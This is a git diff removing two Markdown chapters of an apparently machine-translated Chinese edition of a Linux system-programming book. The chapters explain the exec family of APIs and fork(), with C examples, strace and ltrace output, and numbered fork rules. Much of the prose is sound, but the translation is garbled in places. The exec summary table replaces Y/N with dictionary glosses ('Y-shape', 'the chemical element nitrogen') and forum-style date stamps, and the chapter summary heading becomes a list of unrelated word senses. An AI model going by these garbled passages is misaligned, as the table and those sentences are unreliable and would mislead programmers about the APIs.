-`/bin/uname` -`$` - -这就是`execlp`机器人自动搜索路径的事实,确实很方便;不过请注意,这是以可能的安全为代价的! - -Hackers write programs called Trojans - essentially, programs that pretend to be something they're not; these are obviously dangerous. If a hacker can place a Trojan version of `uname` in your, say, home directory, and modify the PATH environment variable to search your home directory first, then they could take control when you (think) you are running `uname`.  - -For security reasons, it's always better to specify the full `pathname` when executing a program (hence, avoid using the `execlp`, `execvp`, and the `execvpe` APIs). - -如果未定义 PATH 环境变量,该怎么办? 在本例中,API 默认搜索进程的当前工作目录(`cwd`)以及名为`confstr`的路径,该路径通常缺省为目录`/bin`,后跟目录`/usr/bin`*。* - -# Execle API - -现在来看下`execle(3)`系列 API;它的签名是: - -`int **execle**(const char *path, const char *arg, ...,char * const envp[]);` - -和以前一样,`execle`中的`l`表示一个长格式的变量参数列表;`e`表示我们可以将环境变量数组传递给后续进程。 - -The process environment consists of a set of `=` variable pairs. The environment is actually unique to each process and is stored within the process stack segment. You can see the entire list via either the `printenv`*,* `env`*,* or `set` commands (*set* is a shell built-in). Programmatically, use the `extern` `char **environ` to gain access to the process's environment. - -默认情况下,后续进程将继承前置进程的环境。 如果这不是必需的,怎么办;例如,我们想要执行一个进程,但是更改路径的值(或者可能在混合中引入一个新的环境变量)。 为此,我们将让前置进程复制环境,根据需要对其进行修改(可能会根据需要添加、编辑、删除变量),然后将指向新环境的指针传递给后继进程。 这正是最后一个参数`char * const envp[]`的用意所在。 - -Old Unix programs used to accept a third argument to `main()`: `char **arge`, which represented the process environment. This is now considered deprecated; use the `extern environ`  instead. - -There is no mechanism to pass just a few environment variables to the successor process; the whole bunch—in the form of a two-dimensional array of strings (which is itself `NULL`-terminated) must be passed. - -# Execv API - -*execv(3)和*接口签名为: - -`int **execv**(const char *path, char *const argv[]);` - -可以看到,第一个参数是后续进程的路径名。 与上面的环境列表类似,第二个参数是一个二维字符串数组(每个字符串以`NULL`结尾),包含从`argv[0]`开始传递给后继者的所有参数。 想想看,它与我们 C 程序员所习惯的完全一样;这是 C 中`main()`函数的签名: - -`int main(int argc, char *argv[]);` - -当然,`argc`是接收到的参数数量,包括程序名本身(保存在`argv[0]`中),**`argv`**是一个指向包含从`argv[0]`开始的所有参数的二维字符串数组(每个字符串以`NULL`结尾)的指针。 - -因此,我们通俗地称之为短格式(而不是我们早先使用的长格式-`l`格式)。 当您看到`v`(argv 的缩写)时,它代表了短格式的参数传递风格。 - -现在,剩下的两个接口很简单: - -* The`execvp(3)`:参数和要搜索的路径的缩写格式。 -* `execvpe(3)`:将参数、要搜索的路径和环境列表的简短格式显式传递给后继者。 此外,该 API 需要定义特性测试宏`_GNU_SOURCE`(顺便说一句,我们在本书的所有源代码中都是这样做的)。 - -`exec`中包含`p`函数的 API-搜索`PATH`的 API-`execlp`、`execvp`和`execvpe`有一个附加功能:如果找到要搜索的文件,但没有打开该文件的许可,它们不会立即失败(与其他`exec`API 一样,这些 API 会失败并将`errno`设置为`EACCESS`);相反,它们将继续搜索`PATH`的其余部分以查找该文件。 - -# 操作系统级别的 EXEC - -到目前为止,我们已经介绍了 7 个*EXEC 系列*API 中的 6 个。 最后,第七个是`execve(2)`。 你注意到了吗? 括号中的`2`表示它是一个新的系统调用*和*(回想一下[第 1 章](01.html),*Linux 系统体系结构*中有关系统调用的详细信息)。 - -事实是,前面的六个`exec`API 都在`glibc`-库层内;只有`execve(2)`是系统调用。 您将意识到,最终要让一个进程能够执行另一个程序-从而启动或运行后续程序-将需要操作系统级别的支持。 因此,是的,事实是上面所有六个`exec`API 都只是包装器;它们转换它们的参数并调用`execve`系统调用。 - -这是`execve(2)`的签名: - -`int execve(const char *filename, char *const argv[], char *const envp[]);` - -看一看高管们的家族 API 汇总表。 - -# 汇总表-EXEC 系列 API - -以下表格汇总了`exec`系列的所有 7 个 API: - -| 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 | **参数:长格式(L)** | **参数:短格式(V)** | **是否搜索路径? (P)** | **环境是否已通过? (E)** | 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 | -| `execl` | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | (化学元素)氮 | (化学元素)氮 | (化学元素)氮 | 解放 / 解放运动 / 解放运动组织 / 释放 | -| `execlp` | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | (化学元素)氮 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | (化学元素)氮 | 解放 / 解放运动 / 解放运动组织 / 释放 | -| `execle` | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | (化学元素)氮 | (化学元素)氮 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | 解放 / 解放运动 / 解放运动组织 / 释放 | -| `execv` | (化学元素)氮 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | (化学元素)氮 | (化学元素)氮 | 解放 / 解放运动 / 解放运动组织 / 释放 | -| `execvp` | (化学元素)氮 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | (化学元素)氮 | 解放 / 解放运动 / 解放运动组织 / 释放 | -| `execvpe` | (化学元素)氮 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | 解放 / 解放运动 / 解放运动组织 / 释放 | -| `execve` | (化学元素)氮 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | (化学元素)氮 | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | 系统调用 | - -EXEC API 格式:`exec`,其中``是`{l,v,p,e}`的不同组合。 - -据我们所知,所有列出的 API 在成功后都不会返回。 只有在失败时,才会看到返回值;按照通常的规范,全局变量`errno`将被设置为反映错误的原因,可以通过`perror(3)`或`strerror(3)`API 方便地进行查找(例如,在本书提供的源代码中,请查看`common.h`*和*头文件中的`FATAL`宏)。 - -# 代码示例 - -在本章的介绍中,我们提到了一个要求:从 GUI 前端显示系统生成的 PDF 文档的内容。 - -为此,我们需要一个 PDF 阅读器应用;我们可以假定我们有一个。 事实上,在许多 Linux 发行版上,evince 应用是一个很好的 PDF 阅读器应用,通常是预装的(在 Ubuntu 和 Fedora 等平台上是这样的)。 - -好的,在这里,我们不会费心使用 GUI 前端应用,我们将使用普通的老式 C 来编写一个 CLI 应用,该应用在给定 PDF 文档`pathname`的情况下执行 Evince PDF 阅读器应用。 我们要显示什么 PDF 文档? 啊,真是个惊喜! (请看): - -For readability, only the relevant parts of the code are displayed as follows; to view and run it, the entire source code is available here: -[https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -const char *pdf_reader_app="/usr/bin/evince"; -static int exec_pdf_reader_app(char *pdfdoc) -{ - char * const pdf_argv[] = {"evince", pdfdoc, 0}; - - if (execv(pdf_reader_app, pdf_argv) < 0) { - WARN("execv failed"); - return -1; - } - return 0; /* never reached */ -} -``` - -我们从`main()`调用前面的函数,如下所示: - -```sh - if (exec_pdf_reader_app(argv[1]) < 0) - FATAL("exec pdf function failed\n"); -``` - -我们构建它,然后执行示例运行: - -```sh -$ ./pdfrdr_exec -Usage: ./pdfrdr_exec {pathname_of_doc.pdf} -$ ./pdfrdr_exec The_C_Programming_Language_K\&R_2ed.pdf 2>/dev/null -$ -``` - -这是这个动作的截图! - -![](img/6ff50ecc-cff5-47a5-9b82-fc5ec961629c.png) - -如果我们只在控制台上运行 Linux(没有 GUI)怎么办? 当然,这样一来,前面的应用就不能运行了(甚至不太可能安装该应用)。 以下是此案例的一个示例: - -```sh -$ ./pdfrdr_exec ~/Seawolf_MinDev_User_Guide.pdf -!WARNING! pdfrdr_exec.c:exec_pdf_reader_app:33: execv failed -perror says: No such file or directory -FATAL:pdfrdr_exec.c:main:48: exec pdf function failed -perror says: No such file or directory -$ -``` - -在这种情况下,为什么不尝试修改上面的应用以使用 CLI PDF 工具集;其中一个这样的工具集来自 Poppler 项目(请参见下面的注释)。 在它内部,它提供的一个有趣的实用程序是`pdftohtml`。 为什么不用它从 PDF 文档生成 HTML 呢? 我们把它留给读者作为练习(参见 GitHub 存储库上的*问题*部分)。 - -These useful PDF utilities are provided by an open source project called Poppler. You can easily install these PDF utilities, on an Ubuntu box: `sudo apt install poppler-utils` - -我们可以非常容易地跟踪`pdfrdr_exec`程序中发生的事情;在这里,我们使用`ltrace(1)`来查看发出的库调用: - -```sh -$ ltrace ./pdfrdr_exec The_C_Programming_Language_K\&R_2ed.pdf -execv("/usr/bin/evince", 0x7ffcd861fc00 ---- Called exec() --- -g_static_resource_init(0x5575a5aff400, 0x7ffc5970f888, 0x7ffc5970f8a0, 32) = 0 -ev_get_locale_dir(2, 0x7ffc5970f888, 0x7ffc5970f8a0, 32) = 0x7fe1ad083ab9 -[...] -``` - -关键提示:`execv`当然是可见的;有趣的是,`ltrace`然后很有帮助地告诉我们,它没有回报。 然后,我们将看到 EVINCE 软件本身的库 API。 - -如果我们使用`strace(1)`查看发出的系统调用会怎么样? - -```sh -$ strace ./pdfrdr_exec The_C_Programming_Language_K\&R_2ed.pdf -execve("./pdfrdr_exec", ["./pdfrdr_exec", "The_C_Programming_Language_K&R_2"...], 0x7fff7f7720f8 /* 56 vars */) = 0 -brk(NULL) = 0x16c0000 -access("/etc/ld.so.preload", R_OK) = 0 -openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY|O_CLOEXEC) = 3 -fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 -[...] -``` - -是的,第一个是`execve(2)`,它证明了`execv(3)`库 API 调用了`execve(2)`系统调用。 当然,输出的其余部分是进程在执行时发出的系统调用。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -本章介绍了 Unix/Linux`exec`的编程模型;前置进程和后置进程的关键概念,以及更重要的是,后置进程(或多或少完全)如何覆盖前置进程。 本文介绍了 7 个`exec`系列 API,以及几个代码示例。 还讨论了错误处理、后继名称规范等。 系统程序员现在将有足够的知识来编写从进程内正确执行给定程序的 C 代码。* \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/10.md b/docs/handson-sys-prog-linux/10.md deleted file mode 100644 index 17d0ca15..00000000 --- a/docs/handson-sys-prog-linux/10.md +++ /dev/null @@ -1,1406 +0,0 @@ -# 十、进程创建 - -在上一章中,我们学习了如何处理一个(虚构的)应用设计和实现需求:让我们的 C 程序完全执行(`exec`)另一个程序。 然而,现实情况是,讨论仍然不完整;关于进程创建*和*的这一章将填补几个空白,甚至更多。 - -在本章中,您将了解一些核心的 Unix/Linux 系统编程概念:正确编程关键进程`fork(2)`的系统调用以创建进程所需的可怕细节。 在这一过程中,Unix 狂热分子的术语,如阻塞呼叫、孤儿和僵尸也被清楚地表达出来。 这些材料小心翼翼地指出了细微之处,将普通开发人员变成了熟练的开发人员。 同时,读者将学习如何编写 C 代码来在 Linux 系统应用中实现前面的关键概念。 像往常一样,我们使用几个代码示例来清楚地说明和强化所教授的概念。 - -本章的目的是引导 Linux 系统开发人员进入 Unix`fork-exec-wait`语义学和相关领域的核心系统编程领域。 简而言之,我们将重点关注以下几个方面,帮助读者了解: - -* Unix 进程创建模型 -* 为什么会这样,怎么会这样 -* 更深入的详细信息,包括: - * 分叉策略如何影响内存分配、打开的文件等,以及安全影响 - * `wait`系列 API 的几种形式 - * 如何实际使用这些 API - * 叉子的规则 - * 孤立进程和僵尸进程 - -# 进程创建 - -除非 Unix/Linux 系统程序员一直生活在岩石下的某个地方,否则他们肯定听说过(如果不是直接使用)`fork(2)`的系统调用。 为什么它如此广为人知,如此重要? 原因很简单:Unix 是一个多任务操作系统;程序员必须利用操作系统的功能。 要使应用具有多任务,我们需要创建多个任务或进程;分叉方法是 Unix 创建进程的方式。 事实上,对于典型的系统程序员来说,分叉是创建进程的唯一途径。 - -There is another system call to create a process or thread: `clone(2)`*.* It also creates, well, a custom process. It's not typically used by Linux application developers; library (typically the thread library) developers use it more. In this book, we do not explore `clone`; for one thing, it's very Linux-specific and non-portable; for another, it's more of a hidden API. - -The other way to multitask is by multithreading of course, which will be covered in detail in later chapters. - -# 叉子的工作原理 - -从理论上讲,`fork(2)`的系统调用的工作描述可以具体化为一条简单的语句:**创建调用过程的相同副本*。 我们将反复遇到的新术语如下:调用*叉*的进程称为**父进程**,新创建的新生进程称为**子进程**。 - -Please note that, to begin with at least, we shall keep the discussion on how fork works purely conceptual and simple; later, we shall delve deeper and clarify how the OS performs several necessary optimizations. - -Fork 调用是一个系统调用;因此,进程创建的真正工作是由操作系统在幕后执行的。 回想一下[第 2 章](02.html),*虚拟内存*,进程的**虚拟地址空间**和(**VAS**)是由称为**段**(或**映射**)的同构区域构建的。 因此,当创建子进程时,操作系统会将父进程的文本、数据(其中三个)、库(和其他映射)以及堆栈段复制到子进程。 - -不过,等等;它并没有止步于此:一个过程不仅仅是它的 VAS,还有更多的东西。 这包括打开文件、进程凭证、调度信息、文件系统结构、分页表、命名空间(PID 等)、审计信息、锁、信号处理信息、计时器、警报、资源限制、IPC 结构、分析(Perf)信息、安全(LSM)指针、seccomp、线程堆栈和 TL、硬件上下文(CPU 和其他寄存器)等。 - -Many of the attributes mentioned earlier are well beyond the scope of this book, and we shall not attempt to delve into them. The idea is to show that there is much more to a process than just VAS. - -哟! 因此,执行派生操作涉及内核将几个内容从父进程复制到子进程。 但是,想想看:并非所有属性都是子代直接从父代继承的(很多都是,但肯定不是全部)。 例如,进程 PID 和 PPID(父 PID)没有继承(您能找出原因吗?) - -作为第一级枚举,以下进程属性*和*由子进程在派生时继承(也就是说,新出生的子进程将获得具有相同内容的父级属性的副本): - -* **VAS**: - * 文本 / 文本信息 / 课文 / 主题 - * 生效日期: - * 已初始化 - * Unionialized(bs) - * 堆 - * 库分段 - * 其他映射(例如,共享内存区域、mmap 区域等) - * 栈 -* 打开文件 -* 进程凭证 -* 日程安排信息 -* 文件系统(VFS)结构 -* 分页表 -* 命名空间 -* 信号条款 -* 资源限制 -* IPC 结构 -* 分析(Perf)信息 -* 安全信息: -* 线程堆栈和 TLS -* 硬件环境 - -子进程在派生时不会完全继承父进程的以下属性: - -* PID、PPID -* 锁 / 扣住 / 过船闸 / 隐藏 -* 挂起和阻止的信号(为子级清除) -* 计时器、报警器(为儿童清除) -* 审核信息(为子级重置 CPU/时间计数器) -* 通过进行的信号量调整`semop(2)` -* **异步 IO**(**AIO**)操作和上下文 - -以图表的形式查看这一点很有用: - -![](img/0db75d3e-d21d-4750-85a5-ecbc28056640.png) - -可见,`fork(2)`确实是一次重量级操作! - -如果感兴趣,您可以在`fork(2)`上的手册页中找到有关继承/非继承特征的更多详细信息。 - -# 使用 fork 系统调用 - -三叉树的招牌就是简约本身: - -```sh -pid_t fork(void); -``` - -这看起来微不足道,但您知道这句话:*魔鬼在于细节!*实际上,我们将给出几个关于正确使用此系统调用的微妙和不那么微妙的提示。 - -为了开始了解 Fork 的工作原理,让我们编写一个简单的 C 程序(`ch10/fork1.c`*)*: - -```sh -int main(int argc, char **argv) -{ - fork(); - printf("Hello, fork.\n"); - exit (EXIT_SUCCESS); -} -``` - -构建并运行它: - -```sh -$ make fork1 -gcc -Wall -c ../../common.c -o common.o -gcc -Wall -c -o fork1.o fork1.c -gcc -Wall -o fork1 fork1.c common.o -$ ./fork1 -Hello, fork. -Hello, fork. -$ -``` - -成功后,三叉树将创建一个新的子进程。 - -**A key programming rule: ****never assume an API succeeds, always check for the failure case !!!** - -这一点怎么强调都不为过。 - -好的,让我们修改代码以检查失败情况;任何和每个系统调用(可能只有 380 个 syscall 中的两个异常)都会在失败时返回`-1`。 检查一下;下面是相关的代码片段(`ch10/fork1.c`): - -```sh - if (fork() == -1) - FATAL("fork failed!\n"); - printf("Hello, fork.\n"); - exit(EXIT_SUCCESS); -``` - -输出与我们之前看到的完全相同(当然,因为分叉操作没有失败)。 因此,`printf`计划似乎已经执行了两次。 确实是这样:一次由父进程执行,一次由新子进程执行。 这立即教会了我们一些关于叉子的工作方式;在这里,我们将尝试将这些东西编纂成叉子的基本规则。在这本书中,我们将最终编纂`fork(2)`的七条规则。 - -# 分叉规则#1 - -**派生规则#1**:*派生成功后,父进程和子进程中的执行都将在派生*之后的指令处继续执行。 - -为什么会这样呢? 好的,想想看:派生函数的工作是在子代中制作(几乎)相同的父代副本;这包括硬件上下文(前面提到的),其中当然包括**指令指针**(**IP**)寄存器本身(有时称为**程序计数器**(**PC**))本身! 因此,子进程也将在与父进程相同的位置执行用户模式代码。当派生成功时,控制将不会转到错误处理代码(`FATAL()`宏);相反,它将转到前`printf`宏。 *关键是:这将在(原始)父进程和(新)子进程中发生。* 因此才会有产出。 - -为了强调这一点,我们编写了这个简单 C 程序的第三个版本(`ch10/fork3.c`)。 在这里,我们只显示`printf `语句,因为它是唯一更改的代码行(从`ch10/fork3.c`): - -```sh - printf("PID %d: Hello, fork.\n", getpid()); -``` - -构建并运行它: - -```sh -$ ./fork3 -PID 25496: Hello, fork. -PID 25497: Hello, fork. -$ -``` - -阿!。 现在我们实际可以看到,已经有两个进程运行了`printf`! 可能(但不确定),PID`25496`是父进程,当然另一个是子进程。 在此之后,两个进程都会执行`exit(3)`命令 API,因此两个进程都会死亡。 - -# 分叉规则 2--退货 - -让我们来看一下我们到目前为止使用的代码: - -```sh - if (fork() == -1) - FATAL("fork failed!\n"); - printf("PID %d: Hello, fork.\n", getpid()); - exit(EXIT_SUCCESS); -``` - -好的,我们现在从第一条规则了解到,代码`printf`将并行运行两次-一次由父进程运行,一次由子进程运行。 - -但是,想想看:这真的有用吗? 现实世界中的应用能从中受益吗? 不是的。 我们真正追求的,也是有用的,是一种分工,也就是说,让孩子完成一些任务,而父母并行执行其他任务。 这使得叉子很有吸引力,也很有用。 - -例如,在分叉之后,我们让子函数运行某个函数`foo`的代码,让父函数运行其他函数`bar`的代码(当然,这些函数也可以在内部调用任意数量的其他函数)。 这将是有趣和有用的。 - -要安排这一点,我们需要在*和*和*分叉*之后使用一些方法来区分父代和子代。 再一次,乍一看,查询他们的 PID(通过`getpid(2)`)似乎是做到这一点的方法。 嗯,你可以,但这是一种粗鲁的方式。 区分进程的正确方法内置于框架本身:它基于 fork 返回的值(猜猜是什么)。 - -通常,您可能会非常正确地指出,如果一个函数被调用一次,它就会返回一次。 嗯,叉子是特别的-当你调用一个变量`fork(3)`时,它会返回两次*。* 如何做到这一点? 想想看,fork 的工作是创建父进程(子进程)的副本;一旦完成,两个进程现在都必须从内核模式返回到用户空间;因此,fork 被调用一次,但返回两次;一次在父进程上下文中,一次在子进程上下文中。 - -不过,关键是内核保证父进程和子进程中的返回值不同;以下是关于*`fork`的返回值的规则: - -* 关于成功: - * 子进程中的返回值为零(`0`) - * 父进程中的返回值是正整数,即新子进程的 PID -* 失败时,返回`-1`,并相应地设置`errno`(检查!) - -所以,我们开始吧: - -**派生规则#2**:*要确定您是在父进程还是子进程中运行,请使用派生返回值:子进程中的值始终为 0,父进程中的子进程的 PID 为*。 - -下面是另一个细节:花点时间看看`fork`的签名: - -```sh -pid_t fork(void); -``` - -返回值的数据类型为`pid_t`,当然也是`typedef`。 那是什么? 让我们来了解一下: - -```sh -$ echo | gcc -E -xc -include 'unistd.h' - | grep "typedef.*pid_t" -typedef int __pid_t; -typedef __pid_t pid_t; -$ -``` - -这就是问题所在:毕竟,它只是一个整数。 但这不是重点。 这里的要点是,在编写代码时,不要假设它是整数;只需根据手册页指定的内容声明数据类型;如果是`fork`,则声明为` pid_t`。 这样,即使将来库开发人员将`pid_t`改为(比方说)`long`,我们的代码也只需要重新编译。 我们保证我们的代码不会过时,使其保持可移植性。 - -现在我们了解了三条分叉规则,让我们编写一个较小但更好的基于分叉的应用来演示同样的规则。 在我们的演示程序中,我们将编写两个简单的函数:`foo `和`bar`;它们的代码是相同的,它们将发出一条打印,并让进程休眠作为参数传递给它们的秒数。 睡眠是为了模仿真实程序的工作(当然,我们可以做得更好,但现在我们只想保持简单)。 - -*`main `函数如下所示(像往常一样,在 GitHub 存储库中查找完整源代码,见`ch10/fork4.c`): - -```sh -int main(int argc, char **argv) -{ - pid_t ret; - - if (argc != 3) { - fprintf(stderr, - "Usage: %s {child-alive-sec} {parent-alive-sec}\n", - argv[0]); - exit(EXIT_FAILURE); - } - /* We leave the validation of the two parameters as a small - * exercise to the reader :-) - */ - - switch((ret = fork())) { - case -1 : FATAL("fork failed, aborting!\n"); - case 0 : /* Child */ - printf("Child process, PID %d:\n" - " return %d from fork()\n" - , getpid(), ret); - foo(atoi(argv[1])); - printf("Child process (%d) done, exiting ...\n", - getpid()); - exit(EXIT_SUCCESS); - default : /* Parent */ - printf("Parent process, PID %d:\n" - " return %d from fork()\n" - , getpid(), ret); - bar(atoi(argv[2])); - } - printf("Parent (%d) will exit now...\n", getpid()); - exit(EXIT_SUCCESS); -} -``` - -首先,有几点需要注意: - -* 返回变量已声明为`pid_t`*。* -* 规则 1-父进程和子进程中的执行都在分叉之后的指令处继续执行。在这里,分叉之后的指令不是开关(通常是错误的),而是变量`ret`的完全初始化!我想一想:它将保证将`ret`初始化两次*:*,一次在父进程中,一次在子进程中,但初始化为不同的值。(*:*)*:*在父进程中初始化一次,在子进程中初始化一次,而是初始化为不同的值。 -* 规则 2-要确定您是在父进程还是子进程中运行,请使用 fork 返回值:它始终是子进程中的值`0`,父进程中是子进程的 PID。因此,我们可以看到,这两个规则的效果都是确保正确地初始化了`ret `,因此我们可以正确地进行切换 -* 顺便说一句--需要进行输入验证。 请看一下我们传递给`fork4`程序的参数,如下所示: - -```sh -$ ./fork4 -1 -2 -Parent process, PID 6797 :: calling bar()... - fork4.c:bar :: will take a nap for 4294967294s ... -Child process, PID 6798 :: calling foo()... - fork4.c:foo :: will take a nap for 4294967295s ... -[...] -``` - -我们还需要说更多(参见输出)吗? 这是一个缺陷(Bug)。 正如源代码注释中提到的,我们将这两个参数的验证作为一个小练习留给读者。 - -* 我们更喜欢使用的 Switch-Case 语法,而不是`if `条件;在您的作者看来,它使代码更具可读性,因此可维护性更好。 -* 正如我们在规则 2 中了解到的,派生函数在子代中返回 0,在父代中返回子代的 PID;我们在第一个开关的情况下使用这一知识,因此我们在代码中有效且非常可读性地区分了子代和父代。 -* 当子进程 ID 完成时,我们不会让它调用*Break*;相反,我们让它退出。 原因应该是显而易见的:清晰。 让孩子在其业务逻辑(`foo()`)内做它需要的任何事情,然后简单地让它离开。 不要大惊小怪;代码干净。 (如果我们真的使用了中断,我们将在`switch `语句之后要求另一个`if`条件;这将是丑陋的,也更难理解。) -* 父进程跌破开关的情况,因为它只发出打印,然后退出。 - -由于`foo`函数和`bar`函数完全相同,因此我们仅在此处显示了`foo`函数的代码: - -```sh -static void foo(unsigned int nsec) -{ - printf(" %s:%s :: will take a nap for %us ...\n", - __FILE__, __FUNCTION__, nsec); - sleep(nsec); -} -``` - -好的,让我们运行它: - -```sh -$ ./fork4 -Usage: ./fork4 {child-alive-sec} {parent-alive-sec} -$ ./fork4 3 7 -Parent process, PID 8228: - return 8229 from fork() - fork4.c:bar :: will take a nap for 7s ... -Child process, PID 8229: - return 0 from fork() - fork4.c:foo :: will take a nap for 3s ... -Child process (8229) done, exiting ... -Parent (8228) will exit now... -$ -``` - -如你所见,我们选择让孩子活 3 秒,让父母活 7 秒。 研究输出:分叉运算的返回值与预期不谋而合。 - -现在让我们在后台再运行一次(同时,我们给孩子和家长提供了更多的睡眠时间,分别为 10 秒和 20 秒)。 回到外壳上,我们将使用`ps(1)`命令查看父进程和子进程: - -```sh -$ ./fork4 10 20 & -[1] 308 -Parent process, PID 308: - return 312 from fork() - fork4.c:bar :: will take a nap for 20s ... -Child process, PID 312: - return 0 from fork() - fork4.c:foo :: will take a nap for 10s ... -$ ps - PID TTY TIME CMD - 308 pts/0 00:00:00 fork4 - 312 pts/0 00:00:00 fork4 - 314 pts/0 00:00:00 ps -32106 pts/0 00:00:00 bash -$ ps -l -F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD -0 S 1000 308 32106 0 80 0 - 1111 hrtime pts/0 00:00:00 fork4 -1 S 1000 312 308 0 80 0 - 1111 hrtime pts/0 00:00:00 fork4 -0 R 1000 319 32106 0 80 0 - 8370 - pts/0 00:00:00 ps -0 S 1000 32106 32104 0 80 0 - 6003 wait pts/0 00:00:00 bash -$ -$ Child process (312) done, exiting ... *<< after 10s >>* -Parent (308) will exit now... *<< after 20s >>* - -[1]+ Done ./fork4 10 20 -$ -``` - -下面的`ps -l`列表(l:Long Listing)显示了有关每个进程的更多详细信息。 (例如,我们既可以看到 PID,也可以看到 PPID。) - -在前面的输出中,您是否注意到父进程`fork4`的 PPID(父进程 ID)恰好是值`32106`,而 PID 是`308`。 这不是很奇怪吗? 您通常希望 PPID 是一个比 PID 更小的数字。 这通常是正确的,但并不总是如此! 现实情况是,内核将从最早的可用值中回收 PID。 - -**模拟子进程和父进程中的工作的实验**。 - -让我们这样做:我们创建一个`fork4.c`程序的副本,将其命名为`ch10/fork4_prnum.c`。 然后,我们稍微修改了代码:我们删除了函数`foo`和函数`bar`*,*,而不是仅仅休眠,而是让进程通过调用一个简单的宏来模拟一些实际工作`DELAY_LOOP`。 (代码在头文件`common.h`中。)。 宏将给定的字符打印给定的次数,我们将其作为输入参数传递给`fork4_prnum`。 以下是一个示例运行: - -```sh -$ ./fork4_prnum -Usage: ./fork4_prnum {child-numbytes-to-write} {parent-numbytes-to-write} -$ ./fork4_prnum 20 100 -Parent process, PID 24243: - return 24244 from fork() -pChild process, PID 24244: - return 0 from fork() -ccpcpcpcpcpcpcpcpcpcpcpcpcpcpcpcpcpcpcpChild process (24244) done, exiting ... -ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppParent (24243) will exit now... -$ -``` - -宏被编码为打印字符:`p`(对于父级)和`c`(对于*c*Hild);它被打印的次数作为参数传递。 您可以从字面上看到父进程和子进程之间的调度程序上下文切换! (交错的`p`和`c`演示了它们各自拥有 CPU 的情况)。 - -老生常谈,我们应该确保两个进程正好在一个 CPU 上运行;这可以通过 Linux 上的`taskset(1)`实用程序轻松实现。 我们运行`taskset`*和*,指定 CPU 掩码为`0`,这意味着作业应该只在 CPU`0`上运行。(同样,我们将其作为简单的查找练习留给读者:查看`taskset(1)`上的手册页,并了解如何使用它: - -```sh -$ taskset -c 0 ./fork4_prnum 20 100 -Parent process, PID 24555: - return 24556 from fork() -pChild process, PID 24556: - return 0 from fork() -ccppccpcppcpcpccpcpcppcpccpcppcpccppccppChild process (24556) done, exiting ... -pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppParent (24555) will exit now... -$ -``` - -我们建议您在他们的系统上实际试用这些程序,以了解它们是如何工作的。 - -# 分叉规则#3 - -**派生规则#3**:*在派生成功之后,父进程和子进程都会并行执行代码*。 - -乍一看,这条规则与第一条规则非常相似。 但不是的,这里强调的是并行性。父级和子级的执行路径是并行运行的。 - -您可能想知道,在单(UNI)处理器系统上,这是怎么回事? 嗯,没错:现代处理器的一个基本属性是,在任何给定的时间点都只能运行一条机器指令。因此,如果我们在单处理器机器上,这只意味着进程将在 CPU 上执行时间切片(或分时)操作。 因此,它是伪并行的;然而,就现代 CPU 的速度而言,人类用户会认为执行是并行的。 在多核(SMP)系统上,它们将或可以真正并行运行。 所以,关于单处理器的细节就是:一个细节。 关键之处在于,我们应该将父对象和子对象都可视化为并行执行代码。 - -因此,在前面的代码示例中,这条规则告诉我们父进程和子进程的整个代码路径将并行运行;对于刚接触它的人来说,可视化这种并行性实际上是分支的初始困难!为了帮助解决这一问题,请参见下图(尽管我们只显示了代码切换大小写的代码):父进程的代码路径将以一种颜色(红色)突出显示,而子进程的代码路径将以另一种颜色(蓝色)突出显示: - -![](img/13eae568-7a7f-4c6c-8f7f-607316de7906.png) - -这就是关键点:用蓝色写代码,用红色写代码,子进程和父进程,并行运行! - -![](img/158ee1e0-301c-44d0-82e7-271c4a906d55.png) - -在第二张图中,蓝色和红色的时间线箭头再次用于描述这种并行性。 - -# 原子处决? - -在查看前面的代码进程图时,您可能会被误导,以为一旦进程开始执行其代码,它就会继续不受干扰地继续运行,直到完成为止。 这当然不一定会发生;在现实中,进程在运行时通常会将上下文切换到 CPU 之外,然后再切换回 CPU。 - -这就引出了一个重要的问题:*原子执行。* 一段代码被认为是原子的 IFF(当且仅当),因为它总是不间断地运行到完成。 原子性,特别是在用户空间中,并不能完全保证:通常,进程(或线程)的执行被中断或抢占(中断/抢占的来源包括硬件中断、故障或异常,以及调度程序上下文切换)。 不过,可以安排在内核中保持代码段的原子性。 - -# 分叉规则#4-数据 - -当父进程派生*,*时,我们理解为创建子进程;它是父进程的副本。 这将包括 VAS,因此也包括数据和堆栈数据段。 记住这一点,查看以下代码片段(`ch10/fork5.c`): - -```sh -static int g=7; -[...] -int main(int argc, char **argv) - [...] - int loc=8; - switch((ret = fork())) { - case -1 : FATAL("fork failed, aborting!\n"); - case 0 : /* Child */ - printf("Child process, PID %d:\n", getpid()); - loc ++; - g --; - printf( " loc=%d g=%d\n", loc, g); - printf("Child (%d) done, exiting ...\n", getpid()); - exit(EXIT_SUCCESS); - default : /* Parent */ - #if 1 - sleep(2); /* let the child run first */ - #endif - printf("Parent process, PID %d:\n", getpid()); - loc --; - g ++; - printf( " loc=%d g=%d\n", loc, g); - } - printf("Parent (%d) will exit now...\n", getpid()); - exit(EXIT_SUCCESS); -``` - -前面的程序(`ch10/fork5`)有一个初始化的全局变量`g`和一个初始化的局部变量`loc`。 父进程在分叉之后休眠两秒钟,从而或多或少地保证了子进程首先运行(这种同步在生产质量代码中是不正确的;我们将在本章后面详细讨论这一点)。 